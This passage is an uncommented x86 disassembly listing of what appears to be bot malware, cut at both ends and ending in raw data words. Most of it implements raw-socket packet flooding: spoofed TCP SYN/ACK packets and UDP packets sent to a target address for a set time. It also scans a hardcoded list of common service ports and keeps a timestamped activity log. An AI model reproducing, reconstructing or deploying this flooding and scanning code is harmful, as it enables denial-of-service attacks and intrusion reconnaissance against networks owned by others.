call sub_41D260 pop ecx xor edi, edi pop ecx jmp loc_415A29 ; --------------------------------------------------------------------------- loc_415763: ; CODE XREF: sub_415725+22j lea ecx, [ebp+var_14] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_14], 1 call ds:dword_4514D4 cmp eax, 0FFFFFFFFh jnz short loc_41578F call ds:dword_451488 push eax push offset unk_44C2B4 jmp short loc_4157AA ; --------------------------------------------------------------------------- loc_41578F: ; CODE XREF: sub_415725+5Aj lea eax, [ebp+arg_4] push eax call ds:dword_451530 cmp eax, 0FFFFFFFFh jnz short loc_4157BE call ds:dword_451488 push eax push offset unk_44C324 loc_4157AA: ; CODE XREF: sub_415725+68j lea eax, [ebp+var_254] push eax call sub_41D260 add esp, 0Ch jmp loc_415A29 ; --------------------------------------------------------------------------- loc_4157BE: ; CODE XREF: sub_415725+77j push edi mov [ebp+var_24], 2 call ds:dword_4514F4 mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call ds:dword_4F14F0 ; inet_addr mov esi, ds:dword_4F1340 mov [ebp+var_20], eax call esi ; dword_4F1340 mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_44C388 push eax call sub_41D260 add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_415827 push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_40145D add esp, 14h loc_415827: ; CODE XREF: sub_415725+E0j mov [ebp+var_4], edi call esi ; dword_4F1340 sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+arg_104] push eax call sub_41D560 cmp esi, eax pop ecx ja loc_4159E0 mov esi, 41Ch jmp short loc_41585B ; --------------------------------------------------------------------------- loc_415856: ; CODE XREF: sub_415725+2B5j mov ebx, 0FFh loc_41585B: ; CODE XREF: sub_415725+12Fj cmp ds:dword_4E30C0, edi jnz short loc_4158B3 push 10h pop eax mov [ebp+var_10], eax push eax lea eax, [ebp+var_34] push edi push eax call sub_41D100 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_34] push eax push [ebp+arg_0] call ds:dword_451498 push ebx push 1 call sub_41801E push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset aD_D_D_D_1 ; "%d.%d.%d.%d" push eax call sub_41D260 add esp, 20h jmp short loc_4158C3 ; --------------------------------------------------------------------------- loc_4158B3: ; CODE XREF: sub_415725+13Cj lea eax, [ebp+var_54] push offset dword_4E2AA0 push eax call sub_41E550 pop ecx pop ecx loc_4158C3: ; CODE XREF: sub_415725+18Cj push esi mov ds:byte_4E2CA0, 45h call ds:dword_4514F4 mov ds:word_4E2CA2, ax lea eax, [ebp+var_54] push eax mov ds:word_4E2CA4, 1 mov ds:word_4E2CA6, di mov ds:byte_4E2CA8, 80h mov ds:byte_4E2CA9, 11h mov ds:word_4E2CAA, di call ds:dword_451530 mov ds:dword_4E2CAC, eax mov eax, [ebp+var_20] mov ds:dword_4E2CB0, eax lea eax, [ebp+arg_84] push eax mov ds:word_4E2CBA, di call sub_41D560 test eax, eax pop ecx jnz short loc_41593B call sub_41DBA0 cdq mov ecx, 401h idiv ecx push edx jmp short loc_415949 ; --------------------------------------------------------------------------- loc_41593B: ; CODE XREF: sub_415725+204j lea eax, [ebp+arg_84] push eax call sub_41D560 pop ecx push eax loc_415949: ; CODE XREF: sub_415725+214j call ds:dword_4514F4 mov ds:word_4E2CB6, ax call sub_41DBA0 cdq mov ecx, 401h push 408h idiv ecx mov ds:word_4E2CB4, dx call ds:dword_4514F4 push 400h mov ds:word_4E2CB8, ax call sub_41DBA0 cdq idiv ebx push edx push offset dword_4E2CBC call sub_41D100 add esp, 0Ch lea eax, [ebp+var_24] push 10h push eax push edi push esi push offset byte_4E2CA0 push [ebp+var_C] call ds:dword_451554 cmp eax, 0FFFFFFFFh jz loc_415A58 inc [ebp+var_4] call ds:dword_4F1340 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+arg_104] push eax call sub_41D560 cmp ebx, eax pop ecx jbe loc_415856 loc_4159E0: ; CODE XREF: sub_415725+124j push [ebp+var_C] call ds:dword_451588 mov esi, [ebp+var_4] lea eax, [ebp+arg_104] push eax imul esi, 41Ch call sub_41D560 mov ecx, eax mov eax, esi shr eax, 0Ah xor edx, edx div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_44C48C push eax call sub_41D260 add esp, 1Ch loc_415A29: ; CODE XREF: sub_415725+39j ; sub_415725+94j ... cmp [ebp+arg_20C], edi jnz short loc_415A51 push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_40145D add esp, 14h loc_415A51: ; CODE XREF: sub_415725+30Aj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_415A58: ; CODE XREF: sub_415725+289j push [ebp+var_4] push esi call ds:dword_451488 push eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_44C3E0 push eax call sub_41D260 add esp, 18h jmp short loc_415A29 sub_415725 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+8] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp-214h] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp-110h] push eax call sub_41D560 pop ecx push eax lea eax, [ebp-190h] push eax call sub_41D560 pop ecx push eax lea eax, [ebp-210h] push eax call ds:dword_451530 push eax call sub_415C17 push eax lea eax, [ebp-414h] push offset unk_44C510 push eax call sub_41D260 xor esi, esi add esp, 18h cmp [ebp-8], esi jnz short loc_415B0F push esi lea eax, [ebp-414h] push dword ptr [ebp-0Ch] push eax lea eax, [ebp-90h] push eax push dword ptr [ebp-214h] call sub_40145D add esp, 14h loc_415B0F: ; CODE XREF: seg000:00415AEDj lea eax, [ebp-414h] push eax call sub_4161A7 push dword ptr [ebp-10h] call sub_40905B pop ecx pop ecx push esi call near ptr 3D0000h push edx pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B2E proc near ; CODE XREF: sub_415C17+191p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_415B57 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4F14B4 ; connect jmp loc_415C13 ; --------------------------------------------------------------------------- loc_415B57: ; CODE XREF: sub_415B2E+13j mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax push 8004667Eh push esi mov [ebp+var_8], edi call ds:dword_4F14C0 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_45149C push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call ds:dword_4514DC test eax, eax jnz short loc_415BBB or eax, 0FFFFFFFFh jmp short loc_415C13 ; --------------------------------------------------------------------------- loc_415BBB: ; CODE XREF: sub_415B2E+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_415BC6 loc_415BC2: ; CODE XREF: sub_415B2E+B8j ; sub_415B2E+DCj mov eax, edi jmp short loc_415C13 ; --------------------------------------------------------------------------- loc_415BC6: ; CODE XREF: sub_415B2E+92j lea eax, [ebp+var_10C] push eax push esi call sub_437842 ; __WSAFDIsSet test eax, eax jnz short loc_415BE8 lea eax, [ebp+var_210] push eax push esi call sub_437842 ; __WSAFDIsSet test eax, eax jz short loc_415BC2 loc_415BE8: ; CODE XREF: sub_415B2E+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call ds:dword_4F14A8 ; getsockopt cmp eax, edi jz short loc_415BC2 mov eax, [ebp+var_4] neg eax sbb eax, eax loc_415C13: ; CODE XREF: sub_415B2E+24j ; sub_415B2E+8Bj ... pop edi pop esi leave retn sub_415B2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C17 proc near ; CODE XREF: seg000:00415ACEp var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = dword ptr -98h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push ebx push ebx push 0FFh push 3 push 2 mov [ebp+var_14], esi call ds:dword_4F14A4 ; WSASocketA lea ecx, [ebp+var_14] push 4 push ecx push 2 push ebx push eax mov ds:dword_4E3130, eax call ds:dword_4514D4 call ds:dword_4F1340 ; GetTickCount push eax call sub_41DB90 pop ecx xor eax, eax push 19h lea edi, [ebp+var_100] pop ecx mov [ebp+var_10C], ebx mov [ebp+var_7C], ecx mov [ebp+var_108], ebx mov [ebp+var_104], ebx mov [ebp+var_8C], 401h mov [ebp+var_88], 15h mov [ebp+var_84], 16h mov [ebp+var_80], 17h mov [ebp+var_78], 35h mov [ebp+var_74], 50h mov [ebp+var_70], 51h mov [ebp+var_6C], 58h mov [ebp+var_68], 6Eh mov [ebp+var_64], 71h mov [ebp+var_60], 77h mov [ebp+var_5C], 87h mov [ebp+var_58], 89h mov [ebp+var_54], 8Bh mov [ebp+var_50], 8Fh mov [ebp+var_4C], 1BBh mov [ebp+var_48], 1BDh mov [ebp+var_44], 400h mov [ebp+var_40], 599h mov [ebp+var_3C], 5DCh mov [ebp+var_38], 6B8h mov [ebp+var_34], 0CEAh mov [ebp+var_30], 0D3Dh mov [ebp+var_2C], 1388h mov [ebp+var_28], 1A0Bh mov [ebp+var_24], 1F40h mov [ebp+var_20], 1F90h rep stosd mov [ebp+var_10], ebx mov [ebp+var_1C], 3 mov [ebp+var_18], 0BB8h mov [ebp+var_4], ebx loc_415D5B: ; CODE XREF: sub_415C17+1BEj mov eax, [ebp+arg_0] mov [ebp+var_9C], 2 mov [ebp+var_98], eax mov eax, [ebp+var_4] lea edi, [ebp+eax+var_8C] mov ax, word ptr [ebp+eax+var_8C] push eax call ds:dword_4514F4 push ebx push esi push 2 mov [ebp+var_9A], ax call ds:dword_451570 lea ecx, [ebp+var_1C] mov [ebp+var_C], eax push ecx lea ecx, [ebp+var_9C] push 10h push ecx push eax call sub_415B2E add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call ds:dword_451588 cmp [ebp+var_8], ebx jnz short loc_415DCD mov ecx, [ebp+var_4] mov eax, [edi] mov [ebp+ecx+var_10C], eax loc_415DCD: ; CODE XREF: sub_415C17+1A8j add [ebp+var_4], 4 cmp [ebp+var_4], 70h jl short loc_415D5B mov esi, offset dword_4E3134 push offset asc_44C554 ; " " push esi call sub_41D260 mov edi, ds:dword_4F1340 pop ecx pop ecx call edi ; dword_4F1340 mov [ebp+var_C], eax lea eax, [ebp+var_10C] mov [ebp+var_4], ebx mov [ebp+var_8], eax loc_415E00: ; CODE XREF: sub_415C17+23Fj call edi ; dword_4F1340 sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_415E58 mov eax, [ebp+var_8] mov eax, [eax] cmp eax, ebx jz short loc_415E31 push eax push esi push offset aSD_3 ; "%s%d " push esi mov [ebp+var_10], eax call sub_41D260 add esp, 10h jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415E31: ; CODE XREF: sub_415C17+203j push 0FFFFh push ebx call sub_41801E pop ecx pop ecx push eax call ds:dword_4514F4 movzx eax, ax mov [ebp+var_10], eax loc_415E4B: ; CODE XREF: sub_415C17+218j inc [ebp+var_4] add [ebp+var_8], 4 cmp [ebp+var_4], 1Ch jl short loc_415E00 loc_415E58: ; CODE XREF: sub_415C17+1FAj ; sub_415C17+46Bj push 28h push ebx push offset byte_4E30D0 call sub_41D100 mov esi, 0FFFFh mov ds:byte_4E30D0, 45h push esi push 400h mov ds:byte_4E30D9, 6 mov ds:byte_4E30D1, 8 call sub_41801E add esp, 14h push eax call ds:dword_4514F4 push 28h mov ds:word_4E30D4, ax call ds:dword_4514F4 or ds:byte_4E30D8, 0FFh cmp ds:dword_4E30C0, ebx mov ds:word_4E30D2, ax mov ds:word_4E30D6, bx jnz short loc_415EC9 push [ebp+arg_0] call sub_416091 pop ecx jmp short loc_415ED4 ; --------------------------------------------------------------------------- loc_415EC9: ; CODE XREF: sub_415C17+2A5j push offset dword_4E2AA0 call ds:dword_451530 loc_415ED4: ; CODE XREF: sub_415C17+2B0j mov ds:dword_4E30DC, eax mov eax, [ebp+arg_0] push 4000h mov ds:dword_4E30E0, eax mov ds:byte_4E30F1, bl call ds:dword_4514F4 push esi push ebx mov ds:word_4E30F2, ax call sub_41801E mov edi, eax push esi push ebx shl edi, 8 call sub_41801E add esp, 10h add edi, eax push edi call ds:dword_4514F0 mov ds:dword_4E30E8, eax mov al, ds:byte_4E30F0 mov edi, [ebp+arg_0] and al, 0Fh or al, 50h push 14h mov ds:byte_4E30F0, al mov ax, word ptr [ebp+var_10] mov ds:dword_4E30EC, ebx mov ds:word_4E30F6, bx mov ds:word_4E30E6, ax mov ds:dword_4E310C, edi mov ds:byte_4E3110, bl mov ds:byte_4E3111, 6 call ds:dword_4514F4 mov ds:word_4E3112, ax mov ax, ds:word_4E30E6 mov ds:word_4E30F8, 2 mov ds:dword_4E30FC, edi mov ds:word_4E30FA, ax mov [ebp+var_4], ebx jmp short loc_415F8A ; --------------------------------------------------------------------------- loc_415F85: ; CODE XREF: sub_415C17+445j mov esi, 0FFFFh loc_415F8A: ; CODE XREF: sub_415C17+36Cj cmp [ebp+var_4], ebx jnz short loc_415FBE push esi push ebx call sub_41801E pop ecx pop ecx push eax call ds:dword_4514F4 mov ds:word_4E30E4, ax mov eax, ds:dword_4E30DC mov ds:dword_4E3108, eax mov ds:byte_4E30F1, 2 mov ds:dword_4E30EC, ebx jmp short loc_415FDD ; --------------------------------------------------------------------------- loc_415FBE: ; CODE XREF: sub_415C17+376j push esi push ebx mov ds:byte_4E30F1, 10h call sub_41801E pop ecx pop ecx push eax call ds:dword_4514F4 movzx eax, ax mov ds:dword_4E30EC, eax loc_415FDD: ; CODE XREF: sub_415C17+3A5j inc ds:word_4E30D4 inc ds:dword_4E30E8 mov ax, ds:word_4E30E6 push 5 pop ecx mov esi, offset word_4E30E4 mov edi, offset dword_4E3114 mov ds:word_4E30DA, bx mov ds:word_4E30F4, bx push 14h rep movsd mov esi, offset byte_4E30D0 mov ds:word_4E30FA, ax push esi call sub_402670 push 20h push offset dword_4E3108 mov ds:word_4E30DA, ax call sub_402670 add esp, 10h mov ds:word_4E30F4, ax push 10h push offset word_4E30F8 push ebx push 28h push esi push ds:dword_4E3130 call ds:dword_451554 inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_415F85 call ds:dword_4F1340 ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_416087 push [ebp+arg_8] call ds:dword_4F12F4 ; Sleep jmp loc_415E58 ; --------------------------------------------------------------------------- loc_416087: ; CODE XREF: sub_415C17+460j pop edi pop esi mov eax, offset dword_4E3134 pop ebx leave retn sub_415C17 endp ; =============== S U B R O U T I N E ======================================= sub_416091 proc near ; CODE XREF: sub_415C17+2AAp arg_0 = dword ptr 4 push 0FFFEh push 1 call sub_41801E pop ecx pop ecx mov ecx, [esp+arg_0] shl eax, 10h and ecx, 0FFFFh or eax, ecx retn sub_416091 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4160AF proc near ; CODE XREF: seg000:00406E0Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_451638 mov edi, 0B8h loc_4160C3: ; CODE XREF: sub_4160AF+33j cmp byte ptr [esi], 0 jz short loc_4160E6 push [ebp+arg_0] push esi call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_4160E6 inc [ebp+var_4] add esi, edi cmp esi, offset dword_4521B8 jl short loc_4160C3 jmp short loc_416128 ; --------------------------------------------------------------------------- loc_4160E6: ; CODE XREF: sub_4160AF+17j ; sub_4160AF+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_451638[esi] push ebx call sub_41D100 push 17h push [ebp+arg_0] push ebx call sub_41D800 push 9Fh lea eax, dword_451650[esi] push [ebp+arg_4] push eax call sub_41D800 add esp, 24h inc ds:dword_43D060 pop ebx loc_416128: ; CODE XREF: sub_4160AF+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4160AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41612F proc near ; CODE XREF: seg000:00407FD9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_44C560 push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 14h xor edi, edi mov esi, offset dword_451638 loc_416159: ; CODE XREF: sub_41612F+72j cmp byte ptr [esi], 0 jz short loc_416194 lea eax, [esi+18h] push eax push esi push edi push offset dword_44C58C lea eax, [ebp+var_200] push 200h push eax call sub_41D360 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 2Ch loc_416194: ; CODE XREF: sub_41612F+2Dj add esi, 0B8h inc edi cmp esi, offset dword_4521B8 jl short loc_416159 pop edi pop esi leave retn sub_41612F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161A7 proc near ; CODE XREF: sub_40216A+2ECp ; sub_402533+B0p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_4F13C8 ; GetLocalTime mov ebx, offset dword_4E7538 mov edi, 80h mov esi, offset dword_4E3538 loc_4161C9: ; CODE XREF: sub_4161A7+3Dj cmp byte ptr [ebx], 0 jz short loc_4161E0 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41D800 add esp, 0Ch loc_4161E0: ; CODE XREF: sub_4161A7+25j sub ebx, edi cmp ebx, esi jge short loc_4161C9 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41D360 add esp, 28h pop edi pop esi pop ebx leave retn sub_4161A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41621B proc near ; CODE XREF: sub_402D46+F7p ; seg000:loc_406B8Fp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41D160 lea eax, [ebp+var_80] push eax call sub_4161A7 add esp, 14h leave retn sub_41621B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+14h], ebx push esi mov dword ptr [ebp-8], 80h mov [ebp-4], ebx jnz short loc_416276 push ebx push dword ptr [ebp+10h] push offset dword_44C5C4 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 14h loc_416276: ; CODE XREF: seg000:0041625Dj cmp [ebp+18h], ebx jz short loc_41628E push dword ptr [ebp+18h] call sub_41D560 cmp eax, ebx pop ecx mov [ebp-4], eax jz short loc_41628E mov [ebp-8], eax loc_41628E: ; CODE XREF: seg000:00416279j ; seg000:00416289j mov [ebp+14h], ebx mov esi, offset dword_4E3538 loc_416296: ; CODE XREF: seg000:004162DEj mov eax, [ebp+14h] cmp eax, [ebp-8] jge short loc_4162E0 cmp [esi], bl jz short loc_4162CF cmp [ebp+18h], ebx jz short loc_4162BB cmp [ebp-4], ebx jnz short loc_4162BB push dword ptr [ebp+18h] push esi call sub_41786F pop ecx test eax, eax pop ecx jz short loc_4162CF loc_4162BB: ; CODE XREF: seg000:004162A5j ; seg000:004162AAj push 1 push dword ptr [ebp+10h] push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 14h loc_4162CF: ; CODE XREF: seg000:004162A0j ; seg000:004162B9j inc dword ptr [ebp+14h] add esi, 80h cmp esi, offset dword_4E7538 jl short loc_416296 loc_4162E0: ; CODE XREF: seg000:0041629Cj pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_4162E4 proc near ; CODE XREF: seg000:00407ED0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4E3538 xor ecx, ecx loc_4162EB: ; CODE XREF: sub_4162E4+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4E7538 jl short loc_4162EB cmp [esp+arg_C], ecx jnz short loc_416319 push ecx push [esp+4+arg_8] push offset dword_44C5E8 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_40145D add esp, 14h loc_416319: ; CODE XREF: sub_4162E4+19j push offset dword_44C618 call sub_4161A7 pop ecx retn sub_4162E4 endp ; --------------------------------------------------------------------------- push esi mov esi, offset dword_4E3538 loc_41632B: ; CODE XREF: seg000:0041634Cj cmp byte ptr [esi], 0 jz short loc_416340 push dword ptr [esp+8] push esi call sub_41786F pop ecx test eax, eax pop ecx jnz short loc_416352 loc_416340: ; CODE XREF: seg000:0041632Ej add esi, 80h cmp esi, offset dword_4E7538 jl short loc_41632B xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_416352: ; CODE XREF: seg000:0041633Ej push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- byte_416357 db 55h ; DATA XREF: seg000:00407F83o ; --------------------------------------------------------------------------- mov ebp, esp sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4163AA push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_44C648 push eax push dword ptr [ebp-11Ch] call sub_40145D add esp, 14h loc_4163AA: ; CODE XREF: seg000:0041638Aj cmp byte ptr [ebp-98h], 0 jz short loc_4163CA lea eax, [ebp-98h] push eax call sub_41D560 test eax, eax pop ecx mov [ebp-4], eax jz short loc_4163CA mov [ebp-8], eax loc_4163CA: ; CODE XREF: seg000:004163B1j ; seg000:004163C5j and dword ptr [ebp+8], 0 mov esi, offset dword_4E3538 loc_4163D3: ; CODE XREF: seg000:0041642Bj mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_41642D cmp byte ptr [esi], 0 jz short loc_41641C cmp byte ptr [ebp-98h], 0 jz short loc_416402 cmp dword ptr [ebp-4], 0 jnz short loc_416402 lea eax, [ebp-98h] push eax push esi call sub_41786F pop ecx test eax, eax pop ecx jz short loc_41641C loc_416402: ; CODE XREF: seg000:004163E7j ; seg000:004163EDj push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_40145D add esp, 14h loc_41641C: ; CODE XREF: seg000:004163DEj ; seg000:00416400j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4E7538 jl short loc_4163D3 loc_41642D: ; CODE XREF: seg000:004163D9j lea eax, [ebp-31Ch] push offset dword_44C680 push eax call sub_41D260 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_416467 push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_40145D add esp, 14h loc_416467: ; CODE XREF: seg000:00416445j lea eax, [ebp-31Ch] push eax call sub_4161A7 push dword ptr [ebp-18h] call sub_40905B pop ecx pop ecx push esi ; --------------------------------------------------------------------------- dw 7DE8h dd 0BFFFB9Bh db 5Fh, 5Eh word_416486 dw 8B55h ; DATA XREF: seg000:00406219o ; seg000:0040688Do dd 10EC81ECh, 8B000005h, 56530845h, 0AAB957h, 0F08B0000h dd 0FD34BD8Dh, 16AFFFFh, 335FA5F3h, 0B88956F6h, 2A4h, 858D5656h dd 0FFFFFDB8h, 35FF5056h, 4514A4h, 13FC15FFh, 0C63B0045h dd 0FE84589h, 44184h, 6A565600h, 8D565602h, 0FFFEB885h dd 68FFh, 0FF504000h, 4F138015h, 89C73B00h, 5D73E045h dd 0FEB8858Dh, 8D50FFFFh, 0FFFAF085h, 0C6B868FFh, 0E8500044h dd 6D58h, 390CC483h, 2075D075h, 0F0858D56h, 0FFFFFFFAh dd 8D50D475h, 0FFFD3885h, 0B5FF50FFh, 0FFFFFD34h, 0FEAF30E8h dd 14C483FFh, 0FAF0858Dh, 0E850FFFFh, 0FFFFFC6Bh, 0E8B875FFh dd 0FFFF2B17h, 0E8565959h, 0FFFB9AB4h, 0FFFF33DFh, 4F134015h dd 0D000BB00h, 45890007h, 0DDE853FCh, 59000048h, 68E44589h dd 200h, 0FAF0858Dh, 5056FFFFh, 6B87E8h, 0CC48300h, 5008458Dh dd 0FAF0858Dh, 68FFFFh, 50000002h, 0FFE875FFh, 45140415h dd 0CC753900h, 75FF1174h, 0F0858D08h, 50FFFFFAh, 3CFE8h dd 8D595900h, 5056DC45h, 0FAF0858Dh, 75FFFFFFh, 75FF5008h dd 9A3EE8E0h, 3BCAFFFBh, 8B2273FBh, 3BC72BC3h, 3760845h dd 5008458Bh, 0FAF0858Dh, 8B50FFFFh, 0C703E445h, 825AE850h dd 0C4830000h, 87D030Ch, 74C47539h, 0C47D3B05h, 7D834A77h dd 0C78B01BCh, 0E8C11274h, 858D500Ah, 0FFFFFDB8h, 0C7086850h dd 10EB0044h, 500AE8C1h, 0FDB8858Dh, 6850FFFFh, 44C754h dd 69B8458Bh, 234C0h, 21B80500h, 0E8500045h, 6C2Ch, 3910C483h dd 870F0875h, 0FFFFFF27h, 0C7C47539h, 1EC45h, 49740000h dd 74C47D3Bh, 0C475FF44h, 0FAF0858Dh, 7589FFFFh, 0A06857ECh dd 500044C7h, 6BF7E8h, 858D5600h, 0FFFFFAF0h, 50D475FFh dd 0FD38858Dh, 0FF50FFFFh, 0FFFD34B5h, 0ADD7E8FFh, 858DFFFEh dd 0FFFFFAF0h, 0FB15E850h, 0C483FFFFh, 4015FF28h, 2B004F13h dd 0D233FC45h, 3E8B9h, 0E075FF00h, 0D233F1F7h, 0C78BC88Bh dd 8BF1F741h, 0FC15FFD8h, 0FF004F12h, 0EDE8E475h, 39000051h dd 7459C875h, 0B8858D56h, 50FFFFFEh, 0FEA9EEE8h, 0C8453BFFh dd 0FF447459h, 7589C875h, 858D50ECh, 0FFFFFAF0h, 44C7F068h dd 6DE85000h, 5600006Bh, 0FAF0858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFD38h, 34B5FF50h, 0E8FFFFFDh, 0FFFEAD4Dh, 0FAF0858Dh dd 0E850FFFFh, 0FFFFFA8Bh, 3928C483h, 840FEC75h, 237h dd 1BC7D83h, 0E8840Fh, 5D890000h, 0FC7589F8h, 51F86DDFh dd 0F87D8951h, 0DCFC7589h, 4394780Dh, 0B8858D00h, 0DDFFFFFEh dd 6DDF241Ch, 515150F8h, 0FAF0858Dh, 0DDCFFFFh, 439478h dd 68241CDDh, 44C83Ch, 6AEEE850h, 0C4830000h, 0D075391Ch dd 8D562075h, 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh dd 0FD34B5FFh, 0C6E8FFFFh, 83FFFEACh, 858D14C4h, 